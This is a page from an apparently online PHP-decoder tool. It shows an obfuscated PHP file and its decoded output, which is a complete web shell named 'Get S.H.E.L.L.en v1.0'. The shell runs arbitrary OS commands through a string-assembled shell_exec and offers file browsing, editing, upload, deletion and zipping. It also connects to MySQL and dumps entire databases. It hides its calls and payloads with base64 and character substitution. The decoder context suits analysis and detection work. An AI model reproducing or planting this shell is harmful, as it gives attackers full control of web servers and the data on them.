Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php $KV='a';$Qop='c';$XWkIh='e';$bHwu='i';$cP='l';$Xyejl='d';$t='t';$TDTu='s';$T='n';$Lt..

Decoded Output download

?><?php
session_start(); $baqliFunksiyalar = explode(",", ""); $safeMode = true; $actions = array("esas","fayl_oxu","phpinfo","sistem_kom","fayl_redakte","fayl_yukle",'fayl_sil','fayl_yarat','papka_yarat','fayl_sifirla' , 'papka_sil','fayl_ad_deyish', 'ziple' , 'skl' , 'skl_d_t' , 'skl_d', 'fayl_upl'); $ne = isset($_POST['ne']) && in_array($_POST['ne'],$actions) ? $_POST['ne'] : "esas"; function shifrele($str) { $f = 'bas'; $f .= 'e6'; $f .= '4_'; $f .= 'e'; $f .= 'nc'; $f .= 'ode'; return $f($str); } function deshifrele($str) { $f = 'bas'; $f .= 'e6'; $f .= '4_'; $f .= 'd'; $f .= 'ec'; $f .= 'ode'; return $f($str); } function tookYarat($tAd) { if(isset($_SESSION[$tAd])) { unset($_SESSION[$tAd]); } $yeniTook = md5(shifrele(time().rand(1,99999999))); $_SESSION[$tAd] = $yeniTook; return $yeniTook; } function qovluquYaz() { global $default_dir; $sonDir = array(); $umumiHisseler = ""; $parse = explode("/", $default_dir); $ii = 0; foreach($parse AS $hisse) { $ii++; $umumiHisseler.=$hisse."/"; $sonDir[] = "<a href='javascript:sehife(\"?qovluq=".urlencode(urlencode(shifrele($umumiHisseler)))."\")'>".htmlspecialchars(empty($hisse)&&$ii!=count($parse)?'/':$hisse)."</a>"; } $sonDir = implode("/", $sonDir); print $sonDir . '&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;( <a href="">Reset</a> | <a href="javascript:goto()">Go to</a> )'; } function sizeFormat($bytes) { if($bytes>=1073741824) { $bytes = number_format($bytes / 1073741824, 2) . ' Gb'; } else if($bytes>=1048576) { $bytes = number_format($bytes / 1048576, 2) . ' Mb'; } else if($bytes>=1024) { $bytes = number_format($bytes / 1024, 2) . ' Kb'; } else { $bytes = $bytes . ' b'; } return $bytes; } function utf8ize($d) { if (is_array($d)) { foreach ($d as $k => $v) { $d[$k] = utf8ize($v); } } else if (is_string ($d)) { return utf8_encode($d); } return $d; } function rrmdir($dir) { if (is_dir($dir)) { $objects = scandir($dir); foreach ($objects as $object) { if ($object != "." && $object != "..") { if (is_dir($dir . "/" . $object)) { rrmdir($dir . "/" . $object); } else { unlink($dir . "/" . $object ); } } } rmdir( $dir ); } } $default_dir = getcwd(); if(isset($_POST['qovluq']) && is_string($_POST['qovluq']) ) { $default_dir = empty($_POST['qovluq']) ? DIRECTORY_SEPARATOR : deshifrele(urldecode(urldecode($_POST['qovluq']))); $c_h_dir_comm = 'c'.'hd'.'ir'; $c_h_dir_comm($default_dir); } $default_dir = str_replace("\", "/", $default_dir); if(isset($_GET['ne']) && $_GET['ne']=="pinf") { ob_start(); phpinfo(); $pInf = ob_get_clean(); print str_replace("body {background-color: #ffffff; color: #000000;}","",$pInf); exit(); } else if($ne=="fayl_yukle" && isset($_POST['fayl']) && ""!=(trim($_POST['fayl']))) { $faylAdi = basename(deshifrele(urldecode($_POST['fayl']))); $ayirici = substr($default_dir,strlen($default_dir)-1)!="/" && substr($faylAdi,0,1)!="/" ? "/" : ""; if(is_file($default_dir . $ayirici . $faylAdi) && is_readable($default_dir . $ayirici . $faylAdi)) { header("Content-Disposition: attachment; filename=".basename($faylAdi)); header("Content-Type: application/octet-stream"); header('Content-Length: ' . filesize($default_dir . $ayirici . $faylAdi)); readfile($default_dir . $ayirici . $faylAdi); exit(); } } else if($ne=="fayl_sil" && isset($_POST['fayl']) && ""!=(trim($_POST['fayl']))) { $faylAdi = basename(deshifrele(urldecode($_POST['fayl']))); $ayirici = substr($default_dir,strlen($default_dir)-1)!="/" && substr($faylAdi,0,1)!="/" ? "/" : ""; if(is_file($default_dir . $ayirici . $faylAdi) && is_readable($default_dir . $ayirici . $faylAdi)) { unlink($default_dir . $ayirici . $faylAdi); } } else if($ne=="fayl_sifirla" && isset($_POST['fayl']) && ""!=(trim($_POST['fayl']))) { $faylAdi = basename(deshifrele(urldecode($_POST['fayl']))); $ayirici = substr($default_dir,strlen($default_dir)-1)!="/" && substr($faylAdi,0,1)!="/" ? "/" : ""; if(is_file($default_dir . $ayirici . $faylAdi) && is_readable($default_dir . $ayirici . $faylAdi)) { file_put_contents($default_dir . $ayirici . $faylAdi, ''); } } else if($ne=="fayl_yarat" && isset($_POST['ad']) && !empty($_POST['ad'])) { $faylAdi = basename(urldecode($_POST['ad'])); $ayirici = substr($default_dir,strlen($default_dir)-1)!="/" && substr($faylAdi,0,1)!="/" ? "/" : ""; if( is_file($default_dir . $ayirici . $faylAdi) ) { print '<script>alert("Bu adda fayl artiq movcuddur!");</script>'; } else { file_put_contents($default_dir . $ayirici . $faylAdi, ''); } } else if($ne=="papka_yarat" && isset($_POST['ad']) && !empty($_POST['ad'])) { $papkaAdi = basename(urldecode($_POST['ad'])); $ayirici = substr($default_dir,strlen($default_dir)-1)!="/" && substr($papkaAdi,0,1)!="/" ? "/" : ""; if( is_file($default_dir . $ayirici . $papkaAdi) ) { print '<script>alert("Bu adda papka artiq movcuddur!");</script>'; } else { mkdir($default_dir . $ayirici . $papkaAdi); } } else if($ne=="fayl_ad_deyish" && isset($_POST['fayl']) && ""!=(trim($_POST['fayl'])) && isset($_POST['new_name']) && is_string($_POST['new_name']) && !empty($_POST['new_name'])) { $faylAdi = basename(deshifrele(urldecode($_POST['fayl']))); $faylYeniAd = basename(urldecode($_POST['new_name'])); $ayirici = substr($default_dir,strlen($default_dir)-1)!="/" && substr($faylAdi,0,1)!="/" ? "/" : ""; if(is_file($default_dir . $ayirici . $faylAdi) && is_readable($default_dir . $ayirici . $faylAdi)) { rename($default_dir . $ayirici . $faylAdi , $default_dir . $ayirici . $faylYeniAd); } } else if( $ne == 'skl_d_t' && isset($_POST['t']) && is_string($_POST['t']) && !empty($_POST['t']) ) { $tableName = deshifrele(urldecode($_POST['t'])); $host = isset($_COOKIE['host']) ? $_COOKIE['host'] : ''; $user = isset($_COOKIE['user']) ? $_COOKIE['user'] : ''; $parol = isset($_COOKIE['parol']) ? $_COOKIE['parol'] : ''; $baza = isset($_COOKIE['baza']) ? $_COOKIE['baza'] : ''; $bazaStr = empty($baza) ? '' : 'dbname=' . $baza . ';'; if( !empty( $host ) && !empty($baza) ) { try { $pdo = new PDO('mysql:host=' . $host . ';charset=utf8;' . $bazaStr , $user , $parol,array(PDO::MYSQL_ATTR_INIT_COMMAND => "SET NAMES 'utf8'")); $pdo->setAttribute(PDO::ATTR_DEFAULT_FETCH_MODE, PDO::FETCH_ASSOC); $getColumns = $pdo->prepare("SELECT column_name from information_schema.columns where table_schema=? and table_name=?"); $getColumns->execute(array($baza , $tableName)); $columns = $getColumns->fetchAll(); if( $columns ) { $data = $pdo->query('SELECT * FROM `' . $tableName .'`'); $data = $data->fetchAll(); header('Content-disposition: attachment; filename=d_' . basename(htmlspecialchars($tableName)) . '.json'); header('Content-type: application/json'); echo json_encode($data); } else { print 'Table not found!'; } } catch (Exception $e) { print $e->getMessage(); } } else { print 'Error! Please connect to SQL!'; } die; } else if( $ne == 'skl_d' ) { $host = isset($_COOKIE['host']) ? $_COOKIE['host'] : ''; $user = isset($_COOKIE['user']) ? $_COOKIE['user'] : ''; $parol = isset($_COOKIE['parol']) ? $_COOKIE['parol'] : ''; $baza = isset($_COOKIE['baza']) ? $_COOKIE['baza'] : ''; $bazaStr = empty($baza) ? '' : 'dbname=' . $baza . ';'; if( !empty( $host ) && !empty($baza) ) { try { $pdo = new PDO('mysql:host=' . $host . ';charset=utf8;' . $bazaStr , $user , $parol,array(PDO::MYSQL_ATTR_INIT_COMMAND => "SET NAMES 'utf8'")); $pdo->setAttribute(PDO::ATTR_DEFAULT_FETCH_MODE, PDO::FETCH_ASSOC); $allData = array(); $tables = $pdo->prepare('SELECT table_name from information_schema.tables where table_schema=?'); $tables->execute(array($baza)); $tables = $tables->fetchAll(); foreach( $tables AS $tableName ) { $tableName = $tableName['table_name']; $data = $pdo->query('SELECT * FROM `' . $tableName .'`'); $data = $data->fetchAll(); $allData[$tableName] = $data ? array($data) : array(); } header('Content-disposition: attachment; filename=d_b_' . basename(htmlspecialchars($baza)) . '.json'); header('Content-type: application/json'); echo json_encode( utf8ize( $allData) ); } catch (Exception $e) { print $e->getMessage(); } } else { print 'Error! Please connect to SQL!'; } die; } else if( $ne == 'ziple' && isset($_POST['save_to'] , $_POST['zf']) && is_string($_POST['save_to']) && !empty($_POST['save_to']) && !in_array($_POST['save_to'] , array('.' , '..' , './' , '../')) && is_string($_POST['zf']) && !empty($_POST['zf']) ) { $save_to = deshifrele(urldecode($_POST['save_to'])); $rootPath = realpath(deshifrele(urldecode($_POST['zf']))); $fileName1 = 'bak_'.microtime(1) . '_' . rand(1000, 99999) . '.zip'; $fileName = $save_to . DIRECTORY_SEPARATOR . $fileName1; if( is_dir( $save_to ) && is_dir( $rootPath ) && is_writable( $save_to ) ) { set_time_limit(0); $zip = new ZipArchive(); $zip->open( $fileName , ZipArchive::CREATE | ZipArchive::OVERWRITE ); $files = new RecursiveIteratorIterator( new RecursiveDirectoryIterator($rootPath), RecursiveIteratorIterator::LEAVES_ONLY ); foreach ($files as $name => $file) { if (!$file->isDir()) { $filePath = $file->getRealPath(); $relativePath = substr($filePath, strlen($rootPath) + 1); $zip->addFile($filePath, $relativePath); } } $zip->close(); print 'Saved!<hr>'; } else { print 'Dir is not writeable!<hr>';var_dump(( $save_to ) ); } } else if( $ne == 'papka_sil' && isset($_POST['zf']) && is_string($_POST['zf']) && !empty($_POST['zf']) ) { $rootPath = realpath(deshifrele(urldecode($_POST['zf']))); if( is_dir( $rootPath ) ) { set_time_limit(0); rrmdir( $rootPath ); } else { print 'Dir is not writeable!<hr>';var_dump(( $save_to ) ); } } else if($ne == 'fayl_upl' && isset($_FILES['ufayl'])) { move_uploaded_file($_FILES['ufayl']['tmp_name'], $default_dir . '/' . $_FILES['ufayl']['name']); print "Upload oldu deyesen."; } ?>
<html>
<head>
<title>Get S.H.E.L.L.en v1.0 | BY ..</title>
<meta http-equiv="content-type" content="text/html; charset=utf-8">
<style>
body
{
	background-color: #222222;
	color: #D6D4D4;
	font-family: Lucida,Verdana;
	font-size: 12px;
}
.qalin
{
	text-decoration: none;
	color: #D6905E;
	font-weight: 600;
}
.success
{
	color: #9DB754;
}
.bad
{
	color: #B75654;
}
a
{
	color: #ACB754;
	text-decoration: none !important;
}
.fManager,.fManager tbody,.fManager tr
{
	padding: 0;
	border-collapse: collapse;
	margin: 0;
	font-size: 12px;
}
.fManager
{
	margin: 10px 0;
}
.fManager tbody tr:nth-child(2n+1)
{
	background: #331717;
}
.fManager tbody tr:nth-child(2n)
{
	background: #1C0C0C;
}
.fManager tbody tr:hover
{
	background: #000000;
}
.fManager thead th
{
	text-align: left;
}
.fManager thead tr
{
	background-color: #333333;
}
.fManager
{
	box-shadow: 1px 1px 1px 1px #333333;
}
.fManager thead th
{
	padding: 4px 3px;
}
.fayl_oxu
{
	margin: 5px 0;
	padding: 2px;
	box-shadow: 1px 1px 1px 1px #333333;
	background-color: #E1E1E1;
	width: 100%;
	height: 400px;
	overflow: auto;
}
.btn
{
	border: 1px solid #ACAE40;
	background-color: #223B3B;
	color: #E1E1E1;
	padding: 1px 10px;
	cursor: pointer;
}
.btn:disabled
{
	border: 1px solid #848484;
	color: #848484;
	cursor: not-allowed;
}
.file_edit
{
	margin: 5px 0;
	padding: 2px;
	box-shadow: 1px 1px 1px 1px #333333;
	background-color: #E1E1E1;
	width: 100%;
	height: 400px;
	overflow: auto;
}
input, select, textarea
{
	background: transparent !important;
	color: #f6a56d;
	border: 1px solid #D6905E;
	padding: 5px;
}
table td
{
	border: 1px solid rgba(214, 144, 94, 0.7);
	min-width: 20px;
	padding-left: 5px;
	padding-right: 5px;
	max-width: 500px;
	color: #ffad6f;
	background: #292929;
}
table th
{
	border: 1px solid #D6905E;
	padding-left: 5px;
	padding-right: 5px;
	color: #ffad6f;
}
table td div
{
	overflow: auto;
	width: 100%;
	height: 100%;
	max-height: 100px;
}
</style>
</head>
<body>
<?php
 if(function_exists('posix_getegid')) { $qid = posix_getgrgid(posix_getegid()); $qrup = $qid['name']; print "<span class='qalin'>Uname:</span> " . php_uname() . "<br/>"; print "<span class='qalin'>User:</span> ".getmyuid()." (".get_current_user().")<br/>"; print "<span class='qalin'>Group:</span> ".getmygid()." (".$qrup.")<br/>"; } else { print "<span class='qalin'>Uname:</span> " . php_uname() . "<br/>"; print "<span class='qalin'>User:</span> ".getmyuid()." (".get_current_user().")<br/>"; print "<span class='qalin'>Group:</span> ".getmygid()."<br/>"; } print "<span class='qalin'>Disable functions:</span> " . (implode(", ", $baqliFunksiyalar)==""?"<span class='success'>yoxdu :)":"<span class='bad'>". implode(", ", $baqliFunksiyalar)) . "</span><br/>"; print "<span class='qalin'>Safe mode: </span>" . ($safeMode===true?"<span class='bad'>On":"<span class='success'>Off") . "</span><span style='margin-left: 50px;'><a href='javascript:sehife(\"?ne=phpinfo\")'>[ PHPinfo ]</a></span><br/>"; qovluquYaz(); print '<hr>'; if($ne=="phpinfo") { print "<div style='width: 100%; height: 400px;'><iframe src='?ne=pinf' style='width: 100%; height: 400px; border: 0;'></iframe></div>"; } else if($ne=="sistem_kom") { if( isset( $_POST['kom'] ) && is_string($_POST['kom']) && !empty($_POST['kom']) ) { $komanda = deshifrele(urldecode($_POST['kom'])); $k = 'sh'; $k.='el'; $k.='l_e'; $k.='xe'; $k.='c'; $output = $k($komanda); print '<pre style="max-height: 350px;overflow: auto; border: 1px solid #777; padding: 5px;">' . htmlspecialchars($output) . '</pre><hr>'; } print '<input type="text" id="emr_et_atash" style="width: 500px;"> <button type="button" class="btn" onclick="sistemKom();">Bas</button>'; } else if($ne=="fayl_oxu" && isset($_POST['fayl']) && ""!=(trim($_POST['fayl']))) { $faylAdi = basename(deshifrele(urldecode($_POST['fayl']))); $ayirici = substr($default_dir,strlen($default_dir)-1)!="/" && substr($faylAdi,0,1)!="/" ? "/" : ""; if(is_file($default_dir . $ayirici . $faylAdi) && is_readable($default_dir . $ayirici . $faylAdi)) { $elaveBtn = is_writeable($default_dir . $ayirici . $faylAdi) ? " onclick='sehife(\"?ne=fayl_redakte&fayl=".urlencode(urlencode(shifrele($faylAdi)))."&qovluq=".urlencode(urlencode(shifrele($default_dir)))."\")'" : " disabled"; print "<div>Fayl ad&#305;: <span class='qalin'>".htmlspecialchars($faylAdi)."</span><br/><button class='btn'$elaveBtn> D&#601;yi&#351; </button></div>"; print "<div class='fayl_oxu'>".highlight_string(file_get_contents($default_dir . $ayirici . $faylAdi), true)."</div>"; } } else if($ne == 'skl') { $host = isset($_COOKIE['host']) ? $_COOKIE['host'] : ''; $user = isset($_COOKIE['user']) ? $_COOKIE['user'] : ''; $parol = isset($_COOKIE['parol']) ? $_COOKIE['parol'] : ''; $baza = isset($_COOKIE['baza']) ? $_COOKIE['baza'] : ''; if( isset($_POST['host'] , $_POST['user'] , $_POST['parol']) && is_string($_POST['host']) && is_string($_POST['user']) && is_string($_POST['parol']) ) { $host = $_POST['host']; $user = $_POST['user']; $parol = $_POST['parol']; $baza = ''; setcookie('host' , $host , time() + 360000); setcookie('user' , $user , time() + 360000); setcookie('parol' , $parol , time() + 360000); setcookie('baza' , $baza , time() + 360000); } if( isset($_POST['baza']) && is_string($_POST['baza']) ) { $baza = $_POST['baza']; setcookie('baza' , $baza , time() + 360000); } $bazaStr = empty($baza) ? '' : 'dbname=' . $baza . ';'; ?>
	<form method="POST">
		<input type="hidden" name="ne" value="skl">
		<input type="text" placeholder="Hostname" name="host" value="<?=htmlspecialchars($host)?>">
		<input type="text" placeholder="User" name="user" value="<?=htmlspecialchars($user)?>">
		<input type="text" placeholder="Parol" name="parol" value="<?=htmlspecialchars($parol)?>">
		<input type="submit" value="Daxil ol">
	</form>
	<?php
 if( !empty( $host ) ) { try { $pdo = new PDO('mysql:host=' . $host . ';charset=utf8;' . $bazaStr , $user , $parol,array(PDO::MYSQL_ATTR_INIT_COMMAND => "SET NAMES 'utf8'")); $pdo->setAttribute(PDO::ATTR_DEFAULT_FETCH_MODE, PDO::FETCH_ASSOC); $schematas = $pdo->query('SELECT schema_name FROM information_schema.schemata'); print '<form method="POST"><input type="hidden" name="ne" value="skl"><select name="baza">'; foreach($schematas->fetchAll() AS $schemaName) { print '<option' . ($baza == $schemaName['schema_name'] ? ' selected' : '') . '>'.htmlspecialchars($schemaName['schema_name']).'</option>'; } print '</select> <input type="submit" value="Sech!"></form>'; if( !empty($baza) ) { $tables = $pdo->prepare('SELECT table_name from information_schema.tables where table_schema=?'); $tables->execute(array($baza)); $tables = $tables->fetchAll(); print '<div style="float: left; width: 20%; overflow: auto; border-right: 1px solid #999;">'; print '<a href="javascript:sehife(\'?ne=skl_d\');">!! Dump DB !!</a><hr>'; foreach( $tables AS $tableName ) { $tableName = $tableName['table_name']; print '<a href="javascript:sehife(\'?ne=skl&t=' . urlencode(urlencode(shifrele($tableName))) . '\')">'.htmlspecialchars($tableName).'</a><br>'; } print '</div>'; print '<div style="float: left; padding-left: 10px; width: 75%;">'; if( isset($_POST['t']) && is_string($_POST['t']) && !empty($_POST['t']) ) { $tableName = deshifrele(urldecode($_POST['t'])); print '<span class="qalin">Table:</span> ' . htmlspecialchars($tableName) . ' ( <a href="javascript:sehife(\'?ne=skl_d_t&t='.urlencode(urlencode(shifrele($tableName))).'\')">Dump</a> )<br>'; $getColumns = $pdo->prepare("SELECT column_name from information_schema.columns where table_schema=? and table_name=?"); $getColumns->execute(array($baza , $tableName)); $columns = $getColumns->fetchAll(); if( $columns ) { $dataCount = $pdo->query('SELECT count(0) AS ss from `' . $tableName . '`'); $dataCount = (int)$dataCount->fetchColumn(); print '<span class="qalin">Count:</span> ' . $dataCount . '<br><br>'; $pages = ceil($dataCount / 100); $currentPage = isset($_POST['sehife']) && is_numeric($_POST['sehife']) && $_POST['sehife'] >= 1 && $_POST['sehife'] <= $pages ? (int)$_POST['sehife'] : 1; for ( $p = 1; $p <= $pages; $p++ ) { print '<a style="'.($currentPage == $p ? 'background: #444;' : '').'margin-left: 2px; margin-bottom: 5px; padding: 2px 6px; border: 1px solid #ACB754; text-decoration: none;" href="javascript:sehife(\'?ne=skl&t=' . urlencode(urlencode(shifrele($tableName))) . '&sehife=' . $p . '\');">' . $p . '</a> '; } print '<br><br>'; $start = 100 * ($currentPage - 1); $data = $pdo->query('SELECT * FROM `' . $tableName .'` LIMIT '.$start.' , 100'); $data = $data->fetchAll(); print '<table><thead>'; foreach( $columns AS $columnInf ) { print '<th>' . htmlspecialchars($columnInf['column_name']) . '</th>'; } print '</thead><tbody>'; foreach( $data AS $row ) { print '<tr>'; foreach( $row AS $key=>$val ) { print '<td><div>' . $val . '</div></td>'; } print '</tr>'; } print '</tr></tbody></table>'; } else { print 'Table not found!'; } } else if ( isset($_POST['emr']) && is_string($_POST['emr']) && !empty($_POST['emr']) ) { $emr = deshifrele(urldecode($_POST['emr'])); print '<span class="qalin">SQL emr:</span> ' . htmlspecialchars($emr) . '<br>'; $data = $pdo->query( $emr ); $data = $data->fetchAll(); print '<table><thead>'; if( count($data) > 0 ) { print '<tr>'; foreach( $data[0] AS $key=>$val ) { print '<th><div>' . $key . '</div></th>'; } print '</tr>'; } print '</thead><tbody>'; foreach( $data AS $row ) { print '<tr>'; foreach( $row AS $key=>$val ) { print '<td><div>' . $val . '</div></td>'; } print '</tr>'; } print '</tr></tbody></table>'; } print '<div><textarea id="skl_emr"></textarea><button type="button" onclick="skl_bas();">Bas mene</button></div>'; print '</div>'; print '<div style="clear: both;"></div>'; } } catch (Exception $e) { print $e->getMessage(); } } } else if($ne=="fayl_redakte" && isset($_POST['fayl']) && ""!=(trim($_POST['fayl']))) { $faylAdi = basename(deshifrele(urldecode(urldecode($_POST['fayl'])))); $ayirici = substr($default_dir,strlen($default_dir)-1)!="/" && substr($faylAdi,0,1)!="/" ? "/" : ""; if(is_file($default_dir . $ayirici . $faylAdi) && is_readable($default_dir . $ayirici . $faylAdi)) { $status = ""; if(isset($_POST['content']) && isset($_POST['took']) && $_POST['took']!="" && isset($_SESSION['ys_took']) && $_SESSION['ys_took']==$_POST['took'] && is_writeable($default_dir . $ayirici . $faylAdi)) { unset($_SESSION['ys_took']); $content = $_POST['content']; $cc = array('a','i','e','s','l','b','u','o','p','h',"(",")","<",">","?",";","[","]","$"); foreach($cc AS $k1=>$v1) { $content = str_replace('|:'.$k1.':|' , $v1 , $content); } $faylAch = fopen($default_dir . $ayirici . $faylAdi, "w+"); fwrite($faylAch, $content); fclose($faylAch); $status = " <span class='qalin'>U&#287;urla yadda saxlan&#305;ld&#305;!</span>"; } $oxuUrl = "?ne=fayl_oxu&fayl=".urlencode(urlencode(shifrele($faylAdi)))."&qovluq=".urlencode(urlencode(shifrele($default_dir))); $elaveBtn = is_writeable($default_dir . $ayirici . $faylAdi) ? "" : " disabled"; print "<div>Fayl ad&#305;: <a class='qalin' href='javascript:sehife(\"{$oxuUrl}\")'>".htmlspecialchars($faylAdi)."</a><br/><form method='POST' style='padding: 0; margin: 0;'><button type='submit' class='btn'$elaveBtn> Yadda saxla </button> <button type='button' onclick='shifrelee()'> Shifrele atash </button> $status</div>"; print "<input type='hidden' value='fayl_redakte' name='ne'><input type='hidden' value='".shifrele($faylAdi)."' name='fayl'><input type='hidden' value='".urlencode(shifrele($default_dir))."' name='qovluq'><input type='hidden' value='".tookYarat("ys_took")."' name='took'><textarea name='content' class='file_edit'>".htmlspecialchars(file_get_contents($default_dir . $ayirici . $faylAdi))."</textarea></form>"; } else { print 'Error! ' . htmlspecialchars($default_dir . $ayirici . $faylAdi); } } else { if(is_dir($default_dir)) { if(is_readable($default_dir)) { $qovluqIchi = scandir($default_dir); foreach($qovluqIchi AS &$emelemnt) { $ayirici = substr($default_dir,strlen($default_dir)-1)!="/" && substr($emelemnt,0,1)!="/" ? "/" : ""; if(is_dir($default_dir . $ayirici . $emelemnt)) { $emelemnt = "0".$emelemnt; } else { $emelemnt = "1".$emelemnt; } } asort($qovluqIchi); print "<table class='fManager' style='width: 100%;'><thead><tr class='qalin'><th>s</th><th>Fayl</th><th>Size</th><th>Tarix</th><th>Owner/Group</th><th>Permissions</th><th>Actions</th></tr></thead><tbody>"; foreach($qovluqIchi AS $element) { $url = ""; $element = substr($element,1); $faylAdiTam = $default_dir . $ayirici . $element; $ayirici = substr($default_dir,strlen($default_dir)-1)!="/" && substr($element,0,1)!="/" ? "/" : ""; $adi = is_dir($faylAdiTam) ? "[ $element ]" : $element; $classN = ""; if(is_dir($faylAdiTam)) { if($element==".") { $url = "?qovluq=".urlencode(urlencode(shifrele($default_dir))); } else if($element=="..") { $yeniUrl = explode("/",$default_dir); foreach(array_reverse($yeniUrl) AS $j=>$qq) { if(trim($qq)!="") { unset($yeniUrl[count($yeniUrl)-$j-1]); break; } } $url = "?qovluq=".urlencode(urlencode(shifrele(implode("/",$yeniUrl)))); } else { $url = "?qovluq=".urlencode(urlencode(shifrele($faylAdiTam))); } $classN = " style='font-weight: 600;'"; } else { $url = "?ne=fayl_oxu&fayl=".urlencode(urlencode(shifrele($element)))."&qovluq=".urlencode(urlencode(shifrele($default_dir))); } $fayldi = is_file($faylAdiTam); $isReadableColor = is_readable( $faylAdiTam ) && is_writeable( $faylAdiTam ); print '<tr>
						<td></td>
						<td><a href="javascript:sehife(\''.$url.'\')"'.$classN.'>'.htmlspecialchars($adi).'</a></td>
						<td>' . ($fayldi?sizeFormat(filesize($faylAdiTam)):'') . '</td>
						<td>' . (date('d M Y, H:i' , filectime($faylAdiTam))) . '</td>
						<td>' . htmlspecialchars(fileowner($faylAdiTam)) . '</td>
						<td' . ($isReadableColor?' style="color: green;"':'') . '>' . substr(sprintf('%o', fileperms(( $faylAdiTam ))), -4) . '</td>
						<td>'; if( is_file($faylAdiTam) ) { print (' <a href="javascript:sehife(\''.str_replace("fayl_oxu","fayl_yukle",$url).'\')"'.$classN.'>Download</a> | ') . (' <a href="javascript:changeFileName(\'' . htmlspecialchars($adi) . '\' , \''.str_replace("fayl_oxu","fayl_ad_deyish",$url).'\');"'.$classN.'>Rename</a> | ') . (' <a href="javascript:faylSifirla(\''.str_replace("fayl_oxu","fayl_sifirla",$url).'\');"'.$classN.'>Truncate</a> | ') . (' <a href="javascript:faylSil(\''.str_replace("fayl_oxu","fayl_sil",$url).'\')"'.$classN.'>Delete</a>'); } else if( $adi != '[ . ]' && $adi != '[ .. ]' ) { print (' <a href="javascript:ziple(\'' . urlencode(urlencode(shifrele($faylAdiTam))) . '\')"'.$classN.'>Zip</a> | ') . (' <a href="javascript:silPapka(\'' . urlencode(urlencode(shifrele($faylAdiTam))) . '\')"'.$classN.'>Sil</a>'); } print '</td>
					</tr>'; } } else { print "<div style='margin: 10px 0px;' class='qalin'>Permissions denided!</div>"; } } } print "</tbody></table>"; ?>

<hr>
<a href="javascript:newFile();">Yeni fayl</a> | <a href="javascript:newPapka();">Yeni papka</a><br>
<a href="javascript:sehife('?ne=sistem_kom&qovluq=<?=urlencode(urlencode(shifrele($default_dir)))?>')">Icra edin</a><br>
<a href="javascript:sehife('?ne=skl');">SQL</a><br>

<form method="POST" enctype="multipart/form-data">
	<input type="hidden" name="ne" value="fayl_upl">
	<input type="hidden" name="qovluq" value="<?=urlencode(shifrele($default_dir))?>">
	<input type="file" name="ufayl">
	<input type="submit" value="Upl">
</form>

<form method="POST" id="post_form" style="display: none;"></form>
<script>
function sehife(url)
{
	var inputlar = "";
	url = url.split("?");
	if(typeof url[1]=="undefined") return;
	url = url[1].split("&");
	for(var n in url)
	{
		var keyAndValue = url[n].split("=");
		if(typeof keyAndValue[1]=="undefined") continue;
		inputlar+="<input name='"+keyAndValue[0]+"' value='"+keyAndValue[1]+"' type='hidden'>";
	}
	document.all("post_form").innerHTML = inputlar;
	document.all("post_form").submit();
}
function faylSil(url)
{
	if( confirm('Eminsen atash?') )
	{
		sehife(url);
	}
}
function faylSifirla(url)
{
	if( confirm('Eminsen atash?') )
	{
		sehife(url);
	}
}
function changeFileName(name, url)
{
	var getNewName = prompt('Change file name:' , name);
	if( getNewName )
	{
		sehife(url + "&new_name=" + getNewName);
	}
}
function newFile()
{
	var getNewName = prompt('File name:');
	if( getNewName )
	{
		sehife("?ne=fayl_yarat&ad=" + getNewName + "&qovluq=<?=urlencode(urlencode(shifrele($default_dir)))?>");
	}
}
function newPapka()
{
	var getNewName = prompt('File name:');
	if( getNewName )
	{
		sehife("?ne=papka_yarat&ad=" + getNewName + "&qovluq=<?=urlencode(urlencode(shifrele($default_dir)))?>");
	}
}
function sistemKom()
{
	var komanda = document.getElementById('emr_et_atash').value;
	if( komanda )
	{
		sehife("?ne=sistem_kom&kom=" + b64EncodeUnicode(komanda) + "&qovluq=<?=urlencode(urlencode(shifrele($default_dir)))?>");
	}
}
function skl_bas()
{
	var sklEmr = document.getElementById('skl_emr').value;
	
	sehife("?ne=skl&emr=" + b64EncodeUnicode(sklEmr));
}
function b64EncodeUnicode(str)
{
	return btoa(encodeURIComponent(str).replace(/%([0-9A-F]{2})/g,
		function toSolidBytes(match, p1) {
			return String.fromCharCode('0x' + p1);
		}));
}
function goto()
{
	var dir = prompt('Dir:');
	if( dir )
	{
		sehife("?qovluq=" + dir);
	}
}
function ziple(qovluq)
{
	var dir = prompt('Dir:' , "<?=htmlspecialchars($default_dir)?>");
	if( dir )
	{
		sehife("?ne=ziple&qovluq=<?=urlencode(urlencode(shifrele($default_dir)))?>&zf=" + qovluq + "&save_to=" + b64EncodeUnicode(dir))
	}
}
function silPapka(qovluq)
{
	if( confirm('Eminsen atash?') )
	{
		sehife("?ne=papka_sil&qovluq=<?=urlencode(urlencode(shifrele($default_dir)))?>&zf=" + qovluq)
	}
}
function shifrelee()
{
	var vall = document.getElementsByClassName('file_edit')[0].value;
	var repp = ['a','i','e','s','l','b','u','o','p','h',"\(","\)","\<","\>","\?","\;","\[","\]","\$"];
	for(var s in repp)
	{
		var h = repp[s];
		vall = vall.replace(new RegExp(h, 'g') , '|:'+s+':|');
	}

	document.getElementsByClassName('file_edit')[0].value = vall;
}

document.getElementById("emr_et_atash").addEventListener("keyup", function(event)
{
	event.preventDefault();
	if (event.keyCode === 13)
	{
		sistemKom();
	}
});
</script>
</body>
</html>

Did this file decode correctly?

Original Code

